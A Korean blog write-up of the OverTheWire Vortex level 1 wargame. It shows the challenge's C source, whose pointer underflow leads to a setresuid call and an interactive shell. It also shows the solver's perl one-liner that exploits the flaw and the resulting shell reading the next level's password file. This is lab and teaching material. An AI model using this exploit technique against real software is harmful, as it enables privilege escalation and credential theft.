반응형

Canary Values

We are looking for a specific value in ptr. You may need to consider how bash handles EOF..

[source]

#include <stdlib.h>

#include <unistd.h>

#include <string.h>

#include <stdio.h>



#define e(); if(((unsigned int)ptr & 0xff000000)==0xca000000) { setresuid(geteuid(), geteuid(), geteuid()); execlp("/bin/sh", "sh", "-i", NULL); }


void print(unsigned char *buf, int len)

{

        int i;


        printf("[ ");

        for(i=0; i < len; i++) printf("%x ", buf[i]); 

        printf(" ]\n");

}


int main()

{

        unsigned char buf[512];

        unsigned char *ptr = buf + (sizeof(buf)/2);

        unsigned int x;


        while((x = getchar()) != EOF) {

                switch(x) {

                        case '\n': print(buf, sizeof(buf)); continue; break;

                        case '\\': ptr--; break; 

                        default: e(); if(ptr > buf + sizeof(buf)) continue; ptr++[0] = x; break;

                }

        }

        printf("All done\n");

}

볼텍스 푸는데 서버가 참 .. 말로 표현할수 없을만큼 빠르다

포인터가 buf[256]을 가르키고있다.

switch의 case '\\' 를 사용하게 되면 ptr-- 되므로 

ptr 이 0xca000000을 가리키게 하기위해 \\을 261번 넣어주었다 


[attack]

vortex1@melinda:/vortex$ (perl -e 'print "\\"x261,"\xca\x00"';cat)|./vortex1

id

uid=5002(vortex2) gid=5001(vortex1) groups=5002(vortex2),5001(vortex1)

cat /etc/vortex_pass/vortex2

23anbT\rE


반응형

'과거의 컴퓨터 공부 > Overthewire@vortex' 카테고리의 다른 글

(vortex)vortex5 -> vortex 6  (0) 2014.09.08
(vortex) level4-> level 5  (0) 2014.09.07
(vortex)level3->level4  (0) 2014.09.07
(Vortex)Level2->Level3  (0) 2014.09.05
(vortex) Level 0 -> Level1  (0) 2014.09.05
,